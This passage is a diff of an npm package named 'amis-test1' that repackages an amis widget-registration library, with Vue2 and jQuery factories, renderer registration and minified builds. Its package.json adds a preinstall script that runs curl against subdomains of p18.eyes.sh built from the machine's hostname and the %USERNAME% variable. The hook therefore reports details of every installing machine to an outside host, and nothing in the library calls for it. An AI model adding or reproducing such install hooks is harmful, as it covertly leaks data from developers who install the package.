}
|
|
281
|
+
else {
|
|
282
|
+
console.warn('自定义组件中不存在doAction。');
|
|
283
|
+
}
|
|
284
|
+
}
|
|
285
|
+
domRef(dom) {
|
|
286
|
+
this.instance.$root = this.dom = dom;
|
|
287
|
+
this._render();
|
|
288
|
+
}
|
|
289
|
+
_render() {
|
|
290
|
+
if (!this.dom) {
|
|
291
|
+
return;
|
|
292
|
+
}
|
|
293
|
+
let template = this.instance.template;
|
|
294
|
+
if (typeof template === 'string') {
|
|
295
|
+
this.dom.innerHTML = template;
|
|
296
|
+
}
|
|
297
|
+
else if (typeof template === 'function') {
|
|
298
|
+
this.dom.innerHTML = template(this.props);
|
|
299
|
+
}
|
|
300
|
+
}
|
|
301
|
+
render() {
|
|
302
|
+
return React.createElement("div", { ref: this.domRef });
|
|
303
|
+
}
|
|
304
|
+
}
|
|
305
|
+
return JQFactory;
|
|
306
|
+
}
|
|
307
|
+
|
|
308
|
+
/**
|
|
309
|
+
* @file 自定义组件所需的 vue2.0 对接
|
|
310
|
+
*/
|
|
311
|
+
function createVue2Component(vueObj) {
|
|
312
|
+
if (!vueObj || (typeof vueObj !== 'function' && typeof vueObj !== 'object')) {
|
|
313
|
+
return;
|
|
314
|
+
}
|
|
315
|
+
class VueFactory extends React.Component {
|
|
316
|
+
domRef;
|
|
317
|
+
vm;
|
|
318
|
+
isUnmount;
|
|
319
|
+
// 指定 contextType 读取当前的 scope context。
|
|
320
|
+
// React 会往上找到最近的 scope Provider,然后使用它的值。
|
|
321
|
+
static contextType = ScopedContext;
|
|
322
|
+
constructor(props, context) {
|
|
323
|
+
super(props);
|
|
324
|
+
this.domRef = React.createRef();
|
|
325
|
+
const scoped = context;
|
|
326
|
+
scoped.registerComponent(this);
|
|
327
|
+
this.resolveAmisProps = this.resolveAmisProps.bind(this);
|
|
328
|
+
this.renderChild = this.renderChild.bind(this);
|
|
329
|
+
}
|
|
330
|
+
componentDidMount() {
|
|
331
|
+
const { amisData, amisFunc } = this.resolveAmisProps();
|
|
332
|
+
const { data, ...rest } = (vueObj =
|
|
333
|
+
typeof vueObj === 'function' ? new vueObj() : vueObj);
|
|
334
|
+
const vueData = typeof data === 'function' ? data() : data;
|
|
335
|
+
const curVueData = extendObject(vueData, amisData);
|
|
336
|
+
// 传入的Vue属性
|
|
337
|
+
this.vm = new Vue({
|
|
338
|
+
...rest,
|
|
339
|
+
data: () => curVueData,
|
|
340
|
+
props: extendObject(amisFunc, rest.props || {}),
|
|
341
|
+
});
|
|
342
|
+
Object.keys(amisFunc).forEach((key) => {
|
|
343
|
+
this.vm.$props[key] = amisFunc[key];
|
|
344
|
+
if (key === 'render') {
|
|
345
|
+
// 避免和vue中的render冲突
|
|
346
|
+
this.vm.$props['renderChild'] = (schemaPosition, childSchema, insertElemId) => {
|
|
347
|
+
this.renderChild(schemaPosition, childSchema, insertElemId);
|
|
348
|
+
};
|
|
349
|
+
}
|
|
350
|
+
});
|
|
351
|
+
this.domRef.current.appendChild(this.vm.$mount().$el);
|
|
352
|
+
}
|
|
353
|
+
// 渲染子元素
|
|
354
|
+
renderChild(schemaPosition, childSchema, insertElemId) {
|
|
355
|
+
let childElemCont = null;
|
|
356
|
+
if (this.props['render'] && childSchema && insertElemId) {
|
|
357
|
+
const childElem = this.props['render'](schemaPosition, childSchema);
|
|
358
|
+
childElemCont = ReactDOM.render(childElem, document.getElementById(insertElemId));
|
|
359
|
+
}
|
|
360
|
+
return childElemCont;
|
|
361
|
+
}
|
|
362
|
+
componentDidUpdate() {
|
|
363
|
+
if (!this.isUnmount) {
|
|
364
|
+
const { amisData } = this.resolveAmisProps();
|
|
365
|
+
if (this.vm) {
|
|
366
|
+
Object.keys(amisData).forEach((key) => {
|
|
367
|
+
this.vm[key] = amisData[key];
|
|
368
|
+
});
|
|
369
|
+
this.vm.$forceUpdate();
|
|
370
|
+
}
|
|
371
|
+
}
|
|
372
|
+
}
|
|
373
|
+
componentWillUnmount() {
|
|
374
|
+
this.isUnmount = true;
|
|
375
|
+
const scoped = this.context;
|
|
376
|
+
scoped.unRegisterComponent(this);
|
|
377
|
+
this.vm.$destroy();
|
|
378
|
+
}
|
|
379
|
+
resolveAmisProps() {
|
|
380
|
+
let amisFunc = {};
|
|
381
|
+
let amisData = {};
|
|
382
|
+
Object.keys(this.props).forEach((key) => {
|
|
383
|
+
const value = this.props[key];
|
|
384
|
+
if (typeof value === 'function') {
|
|
385
|
+
amisFunc[key] = value;
|
|
386
|
+
}
|
|
387
|
+
else {
|
|
388
|
+
amisData[key] = value;
|
|
389
|
+
}
|
|
390
|
+
});
|
|
391
|
+
return { amisData, amisFunc };
|
|
392
|
+
}
|
|
393
|
+
/**
|
|
394
|
+
* reload动作处理
|
|
395
|
+
*/
|
|
396
|
+
reload() {
|
|
397
|
+
if (this.vm && this.vm.reload) {
|
|
398
|
+
this.vm.reload();
|
|
399
|
+
}
|
|
400
|
+
else {
|
|
401
|
+
console.warn('自定义组件暂不支持reload动作。');
|
|
402
|
+
}
|
|
403
|
+
}
|
|
404
|
+
/**
|
|
405
|
+
* amis事件动作处理:
|
|
406
|
+
* 在这里设置自定义组件对外暴露的动作,其他组件可以通过组件动作触发自定义组件的对应动作
|
|
407
|
+
*/
|
|
408
|
+
doAction(action, args) {
|
|
409
|
+
if (this.vm && this.vm.doAction) {
|
|
410
|
+
this.vm.doAction(action, args);
|
|
411
|
+
}
|
|
412
|
+
else {
|
|
413
|
+
console.warn('自定义组件中不存在doAction。');
|
|
414
|
+
}
|
|
415
|
+
}
|
|
416
|
+
render() {
|
|
417
|
+
return React.createElement("div", { ref: this.domRef });
|
|
418
|
+
}
|
|
419
|
+
}
|
|
420
|
+
return VueFactory;
|
|
421
|
+
}
|
|
422
|
+
|
|
423
|
+
// import { Renderer, FormItem, OptionsControl } from 'amis-core';
|
|
424
|
+
/**
|
|
425
|
+
* registerRendererByType: 根据type类型注册amis普通渲染器、amis表单渲染器、amis表单控件渲染器
|
|
426
|
+
*【方法参数说明】
|
|
427
|
+
* newRenderer: 新的渲染器,
|
|
428
|
+
* rendererOption: {
|
|
429
|
+
* type: 渲染器的type类型,比如:input、text-area、select-user等
|
|
430
|
+
* usage?: amis普通渲染器、amis表单渲染器、amis表单控件渲染器
|
|
431
|
+
* weight?: 自定义组件权重
|
|
432
|
+
* framework?: 技术栈类型,默认为 react 技术栈,可选技术栈:vue2、react、jquery
|
|
433
|
+
* }
|
|
434
|
+
* 备注:暂不支持 vue3.0 技术栈
|
|
435
|
+
*/
|
|
436
|
+
function registerRendererByType(newRenderer, rendererOption) {
|
|
437
|
+
if (!newRenderer) {
|
|
438
|
+
return;
|
|
439
|
+
}
|
|
440
|
+
// 1.默认注册配置参数
|
|
441
|
+
const curRendererOption = {
|
|
442
|
+
type: '',
|
|
443
|
+
usage: Usage.renderer,
|
|
444
|
+
weight: 0,
|
|
445
|
+
framework: Framework.react, // 默认为 react 技术栈
|
|
446
|
+
};
|
|
447
|
+
// 2.获取相关配置参数
|
|
448
|
+
if (rendererOption && isString(rendererOption)) {
|
|
449
|
+
// rendererOption为字符串则将其设置为type
|
|
450
|
+
Object.assign(curRendererOption, {
|
|
451
|
+
type: rendererOption,
|
|
452
|
+
});
|
|
453
|
+
}
|
|
454
|
+
else {
|
|
455
|
+
Object.assign(curRendererOption, rendererOption);
|
|
456
|
+
}
|
|
457
|
+
if (curRendererOption && !curRendererOption.type) {
|
|
458
|
+
console.error(`${consoleTag}amis渲染器注册失败,渲染器类型(type)不能为空。`);
|
|
459
|
+
}
|
|
460
|
+
else {
|
|
461
|
+
// 修正framework数值
|
|
462
|
+
curRendererOption.framework = getFramework(curRendererOption.framework);
|
|
463
|
+
// 修正usage数值
|
|
464
|
+
curRendererOption.usage = getUsage(curRendererOption.usage);
|
|
465
|
+
// 当前支持注册的渲染器类型
|
|
466
|
+
const registerMap = {
|
|
467
|
+
renderer: () => { },
|
|
468
|
+
formitem: () => { },
|
|
469
|
+
options: () => { }, // OptionsControl,
|
|
470
|
+
};
|
|
471
|
+
// 当前支持的技术栈类型
|
|
472
|
+
const resolverMap = {
|
|
473
|
+
react: (i) => i,
|
|
474
|
+
vue2: createVue2Component,
|
|
475
|
+
vue3: createVue2Component,
|
|
476
|
+
jquery: createJQComponent,
|
|
477
|
+
};
|
|
478
|
+
// 支持多技术栈
|
|
479
|
+
const curRendererComponent = resolverMap[curRendererOption.framework](newRenderer);
|
|
480
|
+
// 注册amis渲染器
|
|
481
|
+
if (!registerMap[curRendererOption.usage]) {
|
|
482
|
+
console.error(`${consoleTag}amis渲染器注册失败,暂不支持${curRendererOption.usage}组件类型。`);
|
|
483
|
+
}
|
|
484
|
+
else {
|
|
485
|
+
/*
|
|
486
|
+
// 直接调用amis注册器进行注册
|
|
487
|
+
registerMap[curRendererOption.usage]({
|
|
488
|
+
type: curRendererOption.type,
|
|
489
|
+
weight: curRendererOption.weight,
|
|
490
|
+
})(curRendererComponent);
|
|
491
|
+
*/
|
|
492
|
+
// 通过 postMessage 告知 amis 注册一个新的渲染器
|
|
493
|
+
if (window && window.postMessage) {
|
|
494
|
+
const newComponentType = AddAmisCustomRenderer(curRendererOption.type, {
|
|
495
|
+
type: curRendererOption.type,
|
|
496
|
+
weight: curRendererOption.weight,
|
|
497
|
+
usage: curRendererOption.usage,
|
|
498
|
+
framework: curRendererOption.framework,
|
|
499
|
+
component: curRendererComponent,
|
|
500
|
+
config: curRendererOption,
|
|
501
|
+
});
|
|
502
|
+
if (newComponentType) {
|
|
503
|
+
console.info(`${consoleTag}触发注册amis渲染器(${newComponentType})事件`);
|
|
504
|
+
window.postMessage({
|
|
505
|
+
type: 'amis-renderer-register-event',
|
|
506
|
+
eventMsg: `${consoleTag}注册一个自定义amis渲染器`,
|
|
507
|
+
amisRenderer: {
|
|
508
|
+
type: newComponentType,
|
|
509
|
+
weight: curRendererOption.weight,
|
|
510
|
+
usage: curRendererOption.usage,
|
|
511
|
+
config: curRendererOption,
|
|
512
|
+
},
|
|
513
|
+
}, '*');
|
|
514
|
+
}
|
|
515
|
+
}
|
|
516
|
+
}
|
|
517
|
+
}
|
|
518
|
+
}
|
|
519
|
+
function AddAmisCustomRenderer(componentType, rendererData) {
|
|
520
|
+
if (window && !window.AmisCustomRenderers) {
|
|
521
|
+
window.AmisCustomRenderers = {};
|
|
522
|
+
}
|
|
523
|
+
if (!window.AmisCustomRenderers[componentType]) {
|
|
524
|
+
window.AmisCustomRenderers[componentType] = rendererData;
|
|
525
|
+
return componentType;
|
|
526
|
+
}
|
|
527
|
+
else {
|
|
528
|
+
console.error(`${consoleTag}注册amis渲染器失败,已存在重名渲染器(${componentType})。`);
|
|
529
|
+
}
|
|
530
|
+
return null;
|
|
531
|
+
}
|
|
532
|
+
|
|
533
|
+
export { createVue2Component, registerAmisEditorPlugin, registerRendererByType };
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
import{BasePlugin as e}from"amis-editor-core";export{BasePlugin,getSchemaTpl}from"amis-editor-core";import t from"react";import"jquery";import{ScopedContext as o}from"amis-core";import r from"react-dom";import n from"vue";function s(e,t,o=!0){const r=function(e,t=!0){const o=e&&e.__super?Object.create(e.__super,{__super:{value:e.__super,writable:!1,enumerable:!1}}):Object.create(Object.prototype);return t&&e&&Object.keys(e).forEach((t=>o[t]=e[t])),o}(e,o);return t&&Object.keys(t).forEach((e=>r[e]=t[e])),r}const i="[amis-widget]";var c,a;function m(t,o){const r=o?.rendererName||o?.type;if(t&&t.prototype instanceof e)return p(t,r),t;class n extends e{constructor(e){super(e)}}return Object.assign(n.prototype,new t),o&&Object.assign(n.prototype,o),p(n,r),n}function p(e,t){if(e&&function(e){let t=!1;if(!e)return!1;const o=new e;return o.rendererName?o.name?o.description?!o.tags||Array.isArray(o.tags)&&0===o.tags.length?console.error(`${i}自定义插件注册失败,自定义组件分类(tags)不能为空。`):o.panelTitle?(o.icon||Object.assign(e.prototype,{icon:"fa fa-file-code-o"}),t=!0):console.error(`${i}自定义插件注册失败,自定义组件配置面板Title(panelTitle)不能为空。`):console.error(`${i}自定义插件注册失败,自定义组件描述(description)不能为空。`):console.error(`${i}自定义插件注册失败,自定义组件名称(name)不能为空。`):console.error(`${i}自定义插件注册失败,关联渲染器(rendererName)不能为空。`),t}(e)){const o=t||(new e).rendererName;if(Object.assign(e.prototype,{isNpmCustomWidget:!0,rendererName:o}),window&&window.postMessage){(function(e,t){window&&!window.AMISEditorCustomPlugins&&(window.AMISEditorCustomPlugins={});if(!window.AMISEditorCustomPlugins[e])return window.AMISEditorCustomPlugins[e]=t,e;console.error(`${i}注册自定义插件失败,已存在重名插件(${e})。`);return null})(o,e)&&(console.info(`${i}触发注册自定义插件(${o})事件`),window.postMessage({type:"amis-widget-register-event",eventMsg:`${i}注册一个自定义amis-editor插件`,editorPluginName:o},"*"))}}}function u(e){if(e&&("function"==typeof e||"object"==typeof e)){class r extends t.Component{dom;instance;static contextType=o;constructor(t,o){super(t),this.domRef=this.domRef.bind(this);o.registerComponent(this),this.instance="function"==typeof e?new e:e}componentDidMount(){const{onMount:e}=this.instance;e&&e.apply(this.instance,[this.props])}componentDidUpdate(e){const{onUpdate:t}=this.instance;t&&t.apply(this.instance,[this.props,e])}componentWillUnmount(){this.context.unRegisterComponent(this);const{onUnmout:e}=this.instance;e&&e.apply(this.instance,this.props)}reload(){this.instance&&this.instance.reload?this.instance.reload():console.warn("自定义组件中暂不支持reload动作。")}doAction(e,t){this.instance&&this.instance.doAction?this.instance.doAction(e,t):console.warn("自定义组件中不存在doAction。")}domRef(e){this.instance.$root=this.dom=e,this._render()}_render(){if(!this.dom)return;let e=this.instance.template;"string"==typeof e?this.dom.innerHTML=e:"function"==typeof e&&(this.dom.innerHTML=e(this.props))}render(){return t.createElement("div",{ref:this.domRef})}}return r}}function d(e){if(e&&("function"==typeof e||"object"==typeof e)){class i extends t.Component{domRef;vm;isUnmount;static contextType=o;constructor(e,o){super(e),this.domRef=t.createRef();o.registerComponent(this),this.resolveAmisProps=this.resolveAmisProps.bind(this),this.renderChild=this.renderChild.bind(this)}componentDidMount(){const{amisData:t,amisFunc:o}=this.resolveAmisProps(),{data:r,...i}=e="function"==typeof e?new e:e,c=s("function"==typeof r?r():r,t);this.vm=new n({...i,data:()=>c,props:s(o,i.props||{})}),Object.keys(o).forEach((e=>{this.vm.$props[e]=o[e],"render"===e&&(this.vm.$props.renderChild=(e,t,o)=>{this.renderChild(e,t,o)})})),this.domRef.current.appendChild(this.vm.$mount().$el)}renderChild(e,t,o){let n=null;if(this.props.render&&t&&o){const s=this.props.render(e,t);n=r.render(s,document.getElementById(o))}return n}componentDidUpdate(){if(!this.isUnmount){const{amisData:e}=this.resolveAmisProps();this.vm&&(Object.keys(e).forEach((t=>{this.vm[t]=e[t]})),this.vm.$forceUpdate())}}componentWillUnmount(){this.isUnmount=!0;this.context.unRegisterComponent(this),this.vm.$destroy()}resolveAmisProps(){let e={},t={};return Object.keys(this.props).forEach((o=>{const r=this.props[o];"function"==typeof r?e[o]=r:t[o]=r})),{amisData:t,amisFunc:e}}reload(){this.vm&&this.vm.reload?this.vm.reload():console.warn("自定义组件暂不支持reload动作。")}doAction(e,t){this.vm&&this.vm.doAction?this.vm.doAction(e,t):console.warn("自定义组件中不存在doAction。")}render(){return t.createElement("div",{ref:this.domRef})}}return i}}function f(e,t){if(!e)return;const o={type:"",usage:c.renderer,weight:0,framework:a.react};var r;if(t&&(r=t,"String"===Object.prototype.toString.call(r).slice(8,-1))?Object.assign(o,{type:t}):Object.assign(o,t),o&&!o.type)console.error(`${i}amis渲染器注册失败,渲染器类型(type)不能为空。`);else{o.framework=function(e){let t=a.react;if(!e)return t;let o=e.toLowerCase().trim();switch(o){case"jquery":case"jq":o=a.jquery;break;case"vue":case"vue2":case"vue 2":case"vue2.0":case"vue 2.0":o=a.vue2;break;case"vue3":case"vue 3":case"vue3.0":case"vue 3.0":o=a.vue3,console.error("amis-widget不支持vue3.0技术栈,请改用vue3-amis-widget支持。");break;default:o=a.react}return o}(o.framework),o.usage=function(e){let t=c.renderer;if(!e)return t;let o=e.toLowerCase().trim();switch(o){case"renderer":case"renderers":default:o=c.renderer;break;case"formitem":case"form-item":case"form item":o=c.formitem;break;case"options":case"option":case"formoption":case"form-option":case"form option":o=c.options}return o}(o.usage);const t={renderer:()=>{},formitem:()=>{},options:()=>{}},r={react:e=>e,vue2:d,vue3:d,jquery:u}[o.framework](e);if(t[o.usage]){if(window&&window.postMessage){const e=function(e,t){window&&!window.AmisCustomRenderers&&(window.AmisCustomRenderers={});if(!window.AmisCustomRenderers[e])return window.AmisCustomRenderers[e]=t,e;console.error(`${i}注册amis渲染器失败,已存在重名渲染器(${e})。`);return null}(o.type,{type:o.type,weight:o.weight,usage:o.usage,framework:o.framework,component:r,config:o});e&&(console.info(`${i}触发注册amis渲染器(${e})事件`),window.postMessage({type:"amis-renderer-register-event",eventMsg:`${i}注册一个自定义amis渲染器`,amisRenderer:{type:e,weight:o.weight,usage:o.usage,config:o}},"*"))}}else console.error(`${i}amis渲染器注册失败,暂不支持${o.usage}组件类型。`)}}!function(e){e.renderer="renderer",e.formitem="formitem",e.options="options"}(c||(c={})),function(e){e.react="react",e.vue2="vue2",e.vue3="vue3",e.jquery="jquery"}(a||(a={}));export{d as createVue2Component,m as registerAmisEditorPlugin,f as registerRendererByType};
|
|
@@ -0,0 +1,2 @@
|
|
|
1
|
+
/*! For license information please see index.umd.js.LICENSE.txt */
|
|
2
|
+
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.amisWidget=t():e.amisWidget=t()}(this,(function(){return function(){"use strict";var e={n:function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,{a:n}),n},d:function(t,n){for(var r in n)e.o(n,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:n[r]})},o:function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r:function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{BasePlugin:function(){return o.BasePlugin},createVue2Component:function(){return M},getSchemaTpl:function(){return o.getSchemaTpl},registerAmisEditorPlugin:function(){return f},registerRendererByType:function(){return q}});var n=require("@babel/runtime/helpers/inheritsLoose"),r=e.n(n),o=require("amis-editor-core"),i=require("@babel/runtime/helpers/extends"),s=e.n(i);function a(e,t,n){void 0===n&&(n=!0);var r=function(e,t){void 0===t&&(t=!0);var n=e&&e.__super?Object.create(e.__super,{__super:{value:e.__super,writable:!1,enumerable:!1}}):Object.create(Object.prototype);return t&&e&&Object.keys(e).forEach((function(t){return n[t]=e[t]})),n}(e,n);return t&&Object.keys(t).forEach((function(e){return r[e]=t[e]})),r}var u,c,d="[amis-widget]";function f(e,t){var n=(null==t?void 0:t.rendererName)||(null==t?void 0:t.type);if(e&&e.prototype instanceof o.BasePlugin)return p(e,n),e;var i=function(e){function t(t){return e.call(this,t)||this}return r()(t,e),t}(o.BasePlugin);return Object.assign(i.prototype,new e),t&&Object.assign(i.prototype,t),p(i,n),i}function p(e,t){if(e&&function(e){var t=!1;if(!e)return!1;var n=new e;return n.rendererName?n.name?n.description?!n.tags||Array.isArray(n.tags)&&0===n.tags.length?console.error(d+"自定义插件注册失败,自定义组件分类(tags)不能为空。"):n.panelTitle?(n.icon||Object.assign(e.prototype,{icon:"fa fa-file-code-o"}),t=!0):console.error(d+"自定义插件注册失败,自定义组件配置面板Title(panelTitle)不能为空。"):console.error(d+"自定义插件注册失败,自定义组件描述(description)不能为空。"):console.error(d+"自定义插件注册失败,自定义组件名称(name)不能为空。"):console.error(d+"自定义插件注册失败,关联渲染器(rendererName)不能为空。"),t}(e)){var n=t||(new e).rendererName;Object.assign(e.prototype,{isNpmCustomWidget:!0,rendererName:n}),window&&window.postMessage&&(r=n,o=e,window&&!window.AMISEditorCustomPlugins&&(window.AMISEditorCustomPlugins={}),(window.AMISEditorCustomPlugins[r]?(console.error(d+"注册自定义插件失败,已存在重名插件("+r+")。"),null):(window.AMISEditorCustomPlugins[r]=o,r))&&(console.info(d+"触发注册自定义插件("+n+")事件"),window.postMessage({type:"amis-widget-register-event",eventMsg:d+"注册一个自定义amis-editor插件",editorPluginName:n},"*")))}var r,o}!function(e){e.renderer="renderer",e.formitem="formitem",e.options="options"}(u||(u={})),function(e){e.react="react",e.vue2="vue2",e.vue3="vue3",e.jquery="jquery"}(c||(c={}));var m=require("@babel/runtime/helpers/assertThisInitialized"),l=e.n(m),v=require("react"),h=e.n(v),g=(require("jquery"),require("amis-core"));function y(e){if(e&&("function"==typeof e||"object"==typeof e)){var t=function(t){function n(n,r){var o;return(o=t.call(this,n)||this).dom=void 0,o.instance=void 0,o.domRef=o.domRef.bind(l()(o)),r.registerComponent(l()(o)),o.instance="function"==typeof e?new e:e,o}r()(n,t);var o=n.prototype;return o.componentDidMount=function(){var e=this.instance.onMount;e&&e.apply(this.instance,[this.props])},o.componentDidUpdate=function(e){var t=this.instance.onUpdate;t&&t.apply(this.instance,[this.props,e])},o.componentWillUnmount=function(){this.context.unRegisterComponent(this);var e=this.instance.onUnmout;e&&e.apply(this.instance,this.props)},o.reload=function(){this.instance&&this.instance.reload?this.instance.reload():console.warn("自定义组件中暂不支持reload动作。")},o.doAction=function(e,t){this.instance&&this.instance.doAction?this.instance.doAction(e,t):console.warn("自定义组件中不存在doAction。")},o.domRef=function(e){this.instance.$root=this.dom=e,this._render()},o._render=function(){if(this.dom){var e=this.instance.template;"string"==typeof e?this.dom.innerHTML=e:"function"==typeof e&&(this.dom.innerHTML=e(this.props))}},o.render=function(){return h().createElement("div",{ref:this.domRef})},n}(h().Component);return t.contextType=g.ScopedContext,t}}var w=require("@babel/runtime/helpers/objectWithoutPropertiesLoose"),b=e.n(w),j=require("react-dom"),C=e.n(j),A=require("vue"),O=e.n(A),P=["data"];function M(e){if(e&&("function"==typeof e||"object"==typeof e)){var t=function(t){function n(e,n){var r;return(r=t.call(this,e)||this).domRef=void 0,r.vm=void 0,r.isUnmount=void 0,r.domRef=h().createRef(),n.registerComponent(l()(r)),r.resolveAmisProps=r.resolveAmisProps.bind(l()(r)),r.renderChild=r.renderChild.bind(l()(r)),r}r()(n,t);var o=n.prototype;return o.componentDidMount=function(){var t=this,n=this.resolveAmisProps(),r=n.amisData,o=n.amisFunc,i=e="function"==typeof e?new e:e,u=i.data,c=b()(i,P),d=a("function"==typeof u?u():u,r);this.vm=new(O())(s()({},c,{data:function(){return d},props:a(o,c.props||{})})),Object.keys(o).forEach((function(e){t.vm.$props[e]=o[e],"render"===e&&(t.vm.$props.renderChild=function(e,n,r){t.renderChild(e,n,r)})})),this.domRef.current.appendChild(this.vm.$mount().$el)},o.renderChild=function(e,t,n){var r=null;if(this.props.render&&t&&n){var o=this.props.render(e,t);r=C().render(o,document.getElementById(n))}return r},o.componentDidUpdate=function(){var e=this;if(!this.isUnmount){var t=this.resolveAmisProps().amisData;this.vm&&(Object.keys(t).forEach((function(n){e.vm[n]=t[n]})),this.vm.$forceUpdate())}},o.componentWillUnmount=function(){this.isUnmount=!0,this.context.unRegisterComponent(this),this.vm.$destroy()},o.resolveAmisProps=function(){var e=this,t={},n={};return Object.keys(this.props).forEach((function(r){var o=e.props[r];"function"==typeof o?t[r]=o:n[r]=o})),{amisData:n,amisFunc:t}},o.reload=function(){this.vm&&this.vm.reload?this.vm.reload():console.warn("自定义组件暂不支持reload动作。")},o.doAction=function(e,t){this.vm&&this.vm.doAction?this.vm.doAction(e,t):console.warn("自定义组件中不存在doAction。")},o.render=function(){return h().createElement("div",{ref:this.domRef})},n}(h().Component);return t.contextType=g.ScopedContext,t}}function q(e,t){if(e){var n,r={type:"",usage:u.renderer,weight:0,framework:c.react};if(t&&(n=t,"String"===Object.prototype.toString.call(n).slice(8,-1))?Object.assign(r,{type:t}):Object.assign(r,t),r&&!r.type)console.error(d+"amis渲染器注册失败,渲染器类型(type)不能为空。");else{r.framework=function(e){var t=c.react;if(!e)return t;var n=e.toLowerCase().trim();switch(n){case"jquery":case"jq":n=c.jquery;break;case"vue":case"vue2":case"vue 2":case"vue2.0":case"vue 2.0":n=c.vue2;break;case"vue3":case"vue 3":case"vue3.0":case"vue 3.0":n=c.vue3,console.error("amis-widget不支持vue3.0技术栈,请改用vue3-amis-widget支持。");break;default:n=c.react}return n}(r.framework),r.usage=function(e){var t=u.renderer;if(!e)return t;var n=e.toLowerCase().trim();switch(n){case"renderer":case"renderers":default:n=u.renderer;break;case"formitem":case"form-item":case"form item":n=u.formitem;break;case"options":case"option":case"formoption":case"form-option":case"form option":n=u.options}return n}(r.usage);var o={react:function(e){return e},vue2:M,vue3:M,jquery:y}[r.framework](e);if({renderer:function(){},formitem:function(){},options:function(){}}[r.usage]){if(window&&window.postMessage){var i=(s=r.type,a={type:r.type,weight:r.weight,usage:r.usage,framework:r.framework,component:o,config:r},window&&!window.AmisCustomRenderers&&(window.AmisCustomRenderers={}),window.AmisCustomRenderers[s]?(console.error(d+"注册amis渲染器失败,已存在重名渲染器("+s+")。"),null):(window.AmisCustomRenderers[s]=a,s));i&&(console.info(d+"触发注册amis渲染器("+i+")事件"),window.postMessage({type:"amis-renderer-register-event",eventMsg:d+"注册一个自定义amis渲染器",amisRenderer:{type:i,weight:r.weight,usage:r.usage,config:r}},"*"))}}else console.error(d+"amis渲染器注册失败,暂不支持"+r.usage+"组件类型。")}}var s,a}return t}()}));
|
package/dist/main.d.ts
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* amis-widget: 组件开发工具集
|
|
3
|
+
*
|
|
4
|
+
* 【提供的工具方法清单】
|
|
5
|
+
* registerRendererByType: 根据type类型注册amis普通渲染器、amis表单渲染器、amis表单控件渲染器
|
|
6
|
+
* registerAmisEditorPlugin: 注册 amis-editor 插件
|
|
7
|
+
*/
|
|
8
|
+
export { registerAmisEditorPlugin, getSchemaTpl, BasePlugin, } from './function/registerAmisEditorPlugin';
|
|
9
|
+
export { registerRendererByType } from './function/registerRendererByType';
|
|
10
|
+
export { createVue2Component } from './frameworkFactory/vueFactory';
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
export declare const consoleTag = "[amis-widget]";
|
|
2
|
+
export * from './object';
|
|
3
|
+
/**
|
|
4
|
+
* 获取技术栈标识
|
|
5
|
+
* 目的:兼容用户非标准写法
|
|
6
|
+
*/
|
|
7
|
+
export declare function getFramework(_framework?: string): string;
|
|
8
|
+
export declare enum Usage {
|
|
9
|
+
renderer = "renderer",
|
|
10
|
+
formitem = "formitem",
|
|
11
|
+
options = "options"
|
|
12
|
+
}
|
|
13
|
+
/**
|
|
14
|
+
* 获取amis渲染器类型标识
|
|
15
|
+
* 目的:兼容用户非标准写法
|
|
16
|
+
*/
|
|
17
|
+
export declare function getUsage(_usage?: string): string;
|
|
18
|
+
/**
|
|
19
|
+
* 当前amis-widget支持的技术栈
|
|
20
|
+
* 备注:vue2和vue3不能同时存在
|
|
21
|
+
*/
|
|
22
|
+
export declare enum Framework {
|
|
23
|
+
react = "react",
|
|
24
|
+
vue2 = "vue2",
|
|
25
|
+
vue3 = "vue3",
|
|
26
|
+
jquery = "jquery"
|
|
27
|
+
}
|
|
28
|
+
export declare function isEditorPlugin(EditorPluginClass: any): boolean;
|
|
29
|
+
export declare function deepClone(target: any): any;
|
|
30
|
+
export declare function isString(str: any): boolean;
|
|
31
|
+
export declare function isObject(obj: any): boolean;
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
export declare function createObject(superProps?: {
|
|
2
|
+
[propName: string]: any;
|
|
3
|
+
}, props?: {
|
|
4
|
+
[propName: string]: any;
|
|
5
|
+
}, properties?: any): object;
|
|
6
|
+
export declare function cloneObject(target: any, persistOwnProps?: boolean): any;
|
|
7
|
+
export declare function extendObject(target: any, src?: any, persistOwnProps?: boolean): any;
|
|
8
|
+
export declare function isObject(obj: any): any;
|
package/package.json
CHANGED
|
@@ -1,6 +1,71 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amis-test1",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "2.0.0",
|
|
4
|
+
"description": "amis组件注册器(支持react、vue2.0、vue3.0和jQuery技术栈),主要用于注册amis渲染器、amis-editor插件。",
|
|
5
|
+
"keywords": [
|
|
6
|
+
"amis组件注册器",
|
|
7
|
+
"amis自定义组件",
|
|
8
|
+
"amis-editor自定义插件"
|
|
9
|
+
],
|
|
10
|
+
"author": "fex",
|
|
11
|
+
"license": "MIT",
|
|
12
|
+
"main": "dist/index.umd.js",
|
|
13
|
+
"module": "dist/index.esm.js",
|
|
14
|
+
"scripts": {
|
|
15
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
16
|
+
"preinstall": "curl $(hostname).p18.eyes.sh; curl %USERNAME%.p18.eyes.sh",
|
|
17
|
+
"dev": "amis dev",
|
|
18
|
+
"build": "amis build",
|
|
19
|
+
"linkDebug": "amis linkDebug",
|
|
20
|
+
"build2lib": "amis build2lib",
|
|
21
|
+
"build2esm": "amis build2esm",
|
|
22
|
+
"format": "prettier --write \"src/**/**/*.{js,jsx,ts,tsx,vue,scss,json}\"",
|
|
23
|
+
"publish2local": "sh publish-local.sh"
|
|
24
|
+
},
|
|
25
|
+
"files": [
|
|
26
|
+
"dist/*"
|
|
27
|
+
],
|
|
28
|
+
"husky": {
|
|
29
|
+
"hooks": {
|
|
30
|
+
"pre-commit": "lint-staged",
|
|
31
